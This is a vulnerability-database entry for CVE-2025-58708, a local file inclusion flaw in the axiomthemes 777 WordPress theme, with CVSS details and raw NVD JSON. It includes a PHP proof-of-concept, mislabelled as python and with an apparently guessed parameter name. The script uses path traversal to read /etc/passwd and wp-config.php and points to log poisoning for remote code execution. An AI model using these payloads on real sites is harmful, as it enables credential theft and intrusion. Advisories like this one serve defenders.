Security Vulnerability Report
中文
CVE-2025-58708 CVSS 8.1 HIGH

CVE-2025-58708

Published: 2025-12-18 08:15:57
Last Modified: 2026-01-20 15:17:07

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes 777 triple-seven allows PHP Local File Inclusion.This issue affects 777: from n/a through <= 1.3.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:777:*:*:*:*:*:wordpress:*:* - VULNERABLE
777 triple-seven Theme <= 1.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php // CVE-2025-58708 PoC - Local File Inclusion in WordPress 777 Theme // Target: axiomthemes 777 triple-seven WordPress Theme <= 1.3 $target_url = "http://target-site.com/wp-content/themes/777/triple-seven/"; // Read /etc/passwd $lfi_payload1 = "?page=../../../../../../etc/passwd"; echo "[*] Attempting to read /etc/passwd...\n"; $response1 = file_get_contents($target_url . $lfi_payload1); if (strpos($response1, 'root:') !== false) { echo "[+] Successfully read /etc/passwd\n"; echo $response1 . "\n"; } // Read wp-config.php $lfi_payload2 = "?page=../../../../../../wp-config.php"; echo "[*] Attempting to read wp-config.php...\n"; $response2 = file_get_contents($target_url . $lfi_payload2); if (strpos($response2, 'DB_NAME') !== false) { echo "[+] Successfully read wp-config.php\n"; echo $response2 . "\n"; } // Log poisoning technique for RCE echo "[*] Log poisoning for potential RCE...\n"; $log_file = "?page=../../../../../../var/log/apache2/access.log"; echo "[+] Include log file: " . $target_url . $log_file . "\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58708", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:56.980", "lastModified": "2026-01-20T15:17:06.993", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes 777 triple-seven allows PHP Local File Inclusion.This issue affects 777: from n/a through <= 1.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axiomthemes:777:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.3", "matchCriteriaId": "EADA7B1B-FB75-4F38-9421-DE5E1F1565A4"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/triple-seven/vulnerability/wordpress-777-theme-1-3-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}